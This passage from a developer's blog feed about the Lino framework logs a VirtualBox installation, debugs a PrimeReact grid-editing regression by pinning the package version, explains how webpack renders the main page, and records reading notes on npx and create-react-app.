After this operation, 157 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Get:1 http://ee.archive.ubuntu.com/ubuntu jammy/universe amd64 libsdl-ttf2.0-0 amd64 2.0.11-6 [15,1 kB]
Get:2 http://download.virtualbox.org/virtualbox/debian jammy/contrib amd64 virtualbox-7.0 amd64 7.0.20-163906~Ubuntu~jammy [92,9 MB]
Ign:2 http://download.virtualbox.org/virtualbox/debian jammy/contrib amd64 virtualbox-7.0 amd64 7.0.20-163906~Ubuntu~jammy
Get:2 http://download.virtualbox.org/virtualbox/debian jammy/contrib amd64 virtualbox-7.0 amd64 7.0.20-163906~Ubuntu~jammy [92,9 MB]
Ign:2 http://download.virtualbox.org/virtualbox/debian jammy/contrib amd64 virtualbox-7.0 amd64 7.0.20-163906~Ubuntu~jammy
Get:2 http://download.virtualbox.org/virtualbox/debian jammy/contrib amd64 virtualbox-7.0 amd64 7.0.20-163906~Ubuntu~jammy [92,9 MB]
Ign:2 http://download.virtualbox.org/virtualbox/debian jammy/contrib amd64 virtualbox-7.0 amd64 7.0.20-163906~Ubuntu~jammy
Get:2 http://download.virtualbox.org/virtualbox/debian jammy/contrib amd64 virtualbox-7.0 amd64 7.0.20-163906~Ubuntu~jammy [92,9 MB]
Fetched 18,4 MB in 3min 33s (86,5 kB/s)
Preconfiguring packages ...
(Reading database ... 281798 files and directories currently installed.)
Removing virtualbox-guest-additions-iso (6.1.50-1~ubuntu1.22.04.1) ...
Selecting previously unselected package virtualbox-7.0.
(Reading database ... 281793 files and directories currently installed.)
Preparing to unpack .../virtualbox-7.0_7.0.20-163906~Ubuntu~jammy_amd64.deb ...
Unpacking virtualbox-7.0 (7.0.20-163906~Ubuntu~jammy) ...
Selecting previously unselected package libsdl-ttf2.0-0:amd64.
Preparing to unpack .../libsdl-ttf2.0-0_2.0.11-6_amd64.deb ...
Unpacking libsdl-ttf2.0-0:amd64 (2.0.11-6) ...
Setting up virtualbox-7.0 (7.0.20-163906~Ubuntu~jammy) ...
Adding group `vboxusers&amp;#39; (GID 136) ...
Done.
Setting up libsdl-ttf2.0-0:amd64 (2.0.11-6) ...
Processing triggers for desktop-file-utils (0.26-1ubuntu3) ...
Processing triggers for hicolor-icon-theme (0.17-2) ...
Processing triggers for gnome-menus (3.36.0-1ubuntu3) ...
Processing triggers for libc-bin (2.35-0ubuntu3.8) ...
Processing triggers for shared-mime-info (2.1-2) ...
Processing triggers for mailcap (3.70+nmu1ubuntu1) ...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I also had to do:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo adduser luc vboxusers
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0821.html</guid><pubDate>Wed, 21 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Explanation to my riddle</title><link>https://luc.lino-framework.org/blog/2024/0820.html</link><description>&lt;section id="explanation-to-my-riddle"&gt;
&lt;h1&gt;Explanation to my riddle&lt;a class="headerlink" href="#explanation-to-my-riddle" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, August 20, 2024&lt;/p&gt;
&lt;p&gt;I found the explanation to my riddle (&lt;a class="reference internal" href="0817.html"&gt;&lt;span class="doc"&gt;Grid cells don’t start editing when I click on them&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;When Sharif built the front end in June,  he had of course an older version of
some dependency.  The &lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#xfile-package-lock.json" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;package-lock.json&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file is not included in the git
repo (because otherwisde we would also have to include the node_modules), but I
hope that webpack somehow writes the list of included dependencies and their
versions somewhere in the distributed output.&lt;/p&gt;
&lt;p&gt;No, it seems that there is no such file. I might write it myself by extending
our &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt; command to say something like “npm ls &amp;gt; …
versions.txt” when making a build.&lt;/p&gt;
&lt;p&gt;So I have to guess. And since the Lino grid view is made using PrimeReact
datatable, let’s start with downgrading PrimeReact.&lt;/p&gt;
&lt;p&gt;Indeed, according to the &lt;a class="reference external" href="https://github.com/primefaces/primereact/releases"&gt;PrimeReact changelog&lt;/a&gt;, 10.6.6 was the latest PR
version on June 17 when Sharif built the React front end that is currently
visible in the repository.&lt;/p&gt;
&lt;p&gt;Using &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;ls&lt;/span&gt;&lt;/code&gt; I can see which version is being used on my machine:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(dev) luc@yoga:~/work/react$ npm ls
lino_react@24.5.0 /home/luc/work/react
├── @babel/cli@7.24.8
...
├── primereact@10.8.2
...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The difference comes because in the &lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#xfile-package.json" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;package.json&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; we have:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;primereact&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;latest&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I changed that line into:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;primereact&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;^10.6.6&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Afterwards I also had to repeat myself, saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;npm&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;primereact&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mf"&gt;10.6.6&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And when I now build the front end, the cell editor is back! So the explanation
is that meanwhile PrimeReact has evolved.&lt;/p&gt;
&lt;p&gt;Of course this explanation is not yet a solution for our problem. We are not
going to freeze Lino onto version 10.6.6 of PR, are we? We must rather adapt
Lino to work with the latest PR version.&lt;/p&gt;
&lt;p&gt;So the next step is to carefully read the &lt;a class="reference external" href="https://github.com/primefaces/primereact/releases"&gt;PrimeReact release notes&lt;/a&gt; and find out which change
caused things to brake. After reading the release notes quickly, I realize that
this won’t be trivial. I need to dive into how we use the PR library.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0820.html</guid><pubDate>Tue, 20 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Grid cells don’t start editing when I click on them</title><link>https://luc.lino-framework.org/blog/2024/0817.html</link><description>&lt;section id="grid-cells-don-t-start-editing-when-i-click-on-them"&gt;
&lt;h1&gt;Grid cells don’t start editing when I click on them&lt;a class="headerlink" href="#grid-cells-don-t-start-editing-when-i-click-on-them" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Saturday, August 17, 2024&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt; command now works as expected, I made some easy changes
and can see the resulting behaviour in the version built on my machine. Here are
my first changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;In &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;components/ActionHandler.tsx&lt;/span&gt;&lt;/code&gt; I changed the message “No modified
data detected!”, replacing the exclamation mark (“!”) by a period (“.”). I
also ran &lt;a class="reference external" href="https://react.lino-framework.org/guide/i18n.html#command-npm-run-mm" title="(in Lino React)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;mm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which caused the files
below &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react/translations/extracts/i18n&lt;/span&gt;&lt;/code&gt; to get updated.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;components/AppInlineProfile.jsx&lt;/span&gt;&lt;/code&gt; and &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;components/constants.js&lt;/span&gt;&lt;/code&gt;
I removed the “Pinned URL(s)” button and related code. Sharif had added this
feature recently, but I don’t like it. The basic idea is great, but I believe
that we should implement it on the server side and store the pinned urls in
the database.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But I am having yet another riddle before I can say that I understood how to
build the &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-React-front-end" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;React front end&lt;/span&gt;&lt;/a&gt;. One detail is broken: the grid cell editor
doesn’t start when I click on a cell.  I even undid my easy changes and returned
back to exactly the source code as in the gitlab repo, but the grid cell remains
unimpressed by my mouse clicks. No message in the JS console.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0817.html</guid><pubDate>Sat, 17 Aug 2024 00:00:00 +0000</pubDate></item><item><title>The main page</title><link>https://luc.lino-framework.org/blog/2024/0815.html</link><description>&lt;section id="the-main-page"&gt;
&lt;h1&gt;The main page&lt;a class="headerlink" href="#the-main-page" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, August 15, 2024&lt;/p&gt;
&lt;p&gt;The main page of every Lino application is returned by the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react.views.Index&lt;/span&gt;&lt;/code&gt; view (&lt;a class="reference external" href="https://gitlab.com/lino-framework/react/-/blob/master/lino_react/react/views.py?ref_type=heads#L639"&gt;source&lt;/a&gt;),
which just renders the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;react/main.html&lt;/span&gt;&lt;/code&gt; template using Jitsi. This
rendering happens at runtime for each incoming HTTP request.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;react/main.html&lt;/span&gt;&lt;/code&gt; template is itself rendered from another template
file &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react/react/components/index.html&lt;/span&gt;&lt;/code&gt; (&lt;a class="reference external" href="https://gitlab.com/lino-framework/react/-/blob/master/lino_react/react/components/index.html?ref_type=heads"&gt;source&lt;/a&gt;).
But this rendering is done only once, by webpack, during &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt;.  The
two only statements replaced by webpack are &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="pre"&gt;webpack_comment&lt;/span&gt; &lt;span class="pre"&gt;%&amp;gt;&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;%=&lt;/span&gt;
&lt;span class="pre"&gt;webpack_injects&lt;/span&gt; &lt;span class="pre"&gt;%&amp;gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="pre"&gt;webpack_comment&lt;/span&gt; &lt;span class="pre"&gt;%&amp;gt;&lt;/span&gt;&lt;/code&gt; statement expands into a comment reminding us to
not modify this file directly, the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;%=&lt;/span&gt; &lt;span class="pre"&gt;webpack_injects&lt;/span&gt; &lt;span class="pre"&gt;%&amp;gt;&lt;/span&gt;&lt;/code&gt; statement expands
into something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;{{site.build_static_url(&amp;#39;react/main.runtime.ddd08114b7e8cedd5863.js&amp;#39;)}}&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;{{site.build_static_url(&amp;#39;react/main.2454e643ddf1a330e98b.js&amp;#39;)}}&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;defer&lt;/span&gt;&lt;/code&gt; attribute means that the script should be downloaded in parallel
to parsing the page, and executed after the page has finished parsing.&lt;/p&gt;
&lt;p&gt;More precisely, above rendering is done by the &lt;a class="reference external" href="https://webpack.js.org/plugins/html-webpack-plugin/"&gt;HtmlWebpackPlugin plugin&lt;/a&gt;, as specified in the
&lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#xfile-webpack.config.js" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;webpack.config.js&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. We use this plugin mostly because our webpack bundle
includes a hash in the filename, which changes every compilation.&lt;/p&gt;
&lt;p&gt;Now that we have explored the “administrative” aspects, let’s have a look at the
the actually “relevant” parts.  The body of the main page is very short:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;noscript&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;need&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;enable&lt;/span&gt; &lt;span class="n"&gt;JavaScript&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;.&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;noscript&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;root&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt; &lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;splash-screen&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt; &lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;splash-container&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt; &lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;splash-double-bounce1&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt; &lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;splash-double-bounce2&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There is also the following little chunk:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Lino&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Lino&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;lv&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="n"&gt;lino_version&lt;/span&gt; &lt;span class="p"&gt;}},&lt;/span&gt;
        &lt;span class="n"&gt;site_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;{{ site_name }}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;(To be continued)&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0815.html</guid><pubDate>Thu, 15 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 7, 2024</title><link>https://luc.lino-framework.org/blog/2024/0807.html</link><description>&lt;section id="wednesday-august-7-2024"&gt;
&lt;h1&gt;Wednesday, August 7, 2024&lt;a class="headerlink" href="#wednesday-august-7-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://www.freecodecamp.org/news/npm-vs-npx-whats-the-difference/"&gt;npm vs npx — What’s the Difference?&lt;/a&gt;, here
are my reading notes.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npx&lt;/span&gt; &lt;span class="pre"&gt;cowsay&lt;/span&gt; &lt;span class="pre"&gt;Hello&lt;/span&gt;&lt;/code&gt; works as described in the tutorial. It says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt; &lt;span class="n"&gt;_______&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;Hello&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
 &lt;span class="o"&gt;-------&lt;/span&gt;
        \   &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;__&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;
         \  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;oo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;\&lt;span class="n"&gt;_______&lt;/span&gt;
            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;\       &lt;span class="p"&gt;)&lt;/span&gt;\&lt;span class="o"&gt;/&lt;/span&gt;\
                &lt;span class="o"&gt;||----&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
                &lt;span class="o"&gt;||&lt;/span&gt;     &lt;span class="o"&gt;||&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npx&lt;/span&gt; &lt;span class="pre"&gt;lino-react&lt;/span&gt;&lt;/code&gt;, as expected, doesn’t work, it says “npm error could
not determine executable to run”, which is normal because the &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-React-front-end" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;React front
end&lt;/span&gt;&lt;/a&gt; is not an executable command-line tool, it is a Python package to be used
as the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.default_ui" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.default_ui&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The next step in above tutorial is &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npx&lt;/span&gt; &lt;span class="pre"&gt;create-react-app&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd ~/work
$ npx create-react-app

Creating a new React app in /home/luc/work/my-app.
Installing packages. This might take a couple of minutes.
Installing react, react-dom, and react-scripts with cra-template...
added 1483 packages in 35s
261 packages are looking for funding
  run `npm fund` for details
Installing template dependencies using npm...
added 54 packages in 3s
261 packages are looking for funding
  run `npm fund` for details
Removing template package using npm...
removed 1 package, and audited 1537 packages in 2s
261 packages are looking for funding
  run `npm fund` for details
8 vulnerabilities (2 moderate, 6 high)
To address all issues (including breaking changes), run:
  npm audit fix --force
Run `npm audit` for details.
Success! Created my-app at /home/luc/work/my-app
Inside that directory, you can run several commands:

  npm start
    Starts the development server.

  npm run build
    Bundles the app into static files for production.

  npm test
    Starts the test runner.

  npm run eject
    Removes this tool and copies build dependencies, configuration files
    and scripts into the app directory. If you do this, you can’t go back!

We suggest that you begin by typing:

  cd my-app
  npm start

Happy hacking!
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But when I do as instructed, I get an error message:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd my-app
$ npm start
&amp;gt; my-app@0.1.0 start
&amp;gt; react-scripts start

Cannot find module &amp;#39;ajv/dist/compile/codegen&amp;#39;
Require stack:
- /home/luc/work/my-app/node_modules/ajv-keywords/dist/definitions/typeof.js
- /home/luc/work/my-app/node_modules/ajv-keywords/dist/keywords/typeof.js
- /home/luc/work/my-app/node_modules/ajv-keywords/dist/keywords/index.js
- /home/luc/work/my-app/node_modules/ajv-keywords/dist/index.js
- /home/luc/work/my-app/node_modules/schema-utils/dist/validate.js
- /home/luc/work/my-app/node_modules/schema-utils/dist/index.js
- /home/luc/work/my-app/node_modules/webpack-dev-server/lib/Server.js
- /home/luc/work/my-app/node_modules/react-scripts/scripts/start.js
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had to manually say &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;--save-dev&lt;/span&gt; &lt;span class="pre"&gt;ajv&lt;/span&gt;&lt;/code&gt; to get it to work. Now
it works:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Compiled successfully!

You can now view my-app in the browser.

  Local:            http://localhost:3000
  On Your Network:  http://192.168.1.115:3000

Note that the development build is not optimized.
To create a production build, use npm run build.

webpack compiled successfully
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And the browser launches and shows the screen described in the tutorial.&lt;/p&gt;
&lt;p&gt;But on the console I see the following warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;One&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;dependencies&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;babel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;preset&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;react&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;importing&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;@babel/plugin-proposal-private-property-in-object&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt; &lt;span class="n"&gt;without&lt;/span&gt;
&lt;span class="n"&gt;declaring&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;its&lt;/span&gt; &lt;span class="n"&gt;dependencies&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;currently&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt; &lt;span class="n"&gt;because&lt;/span&gt;
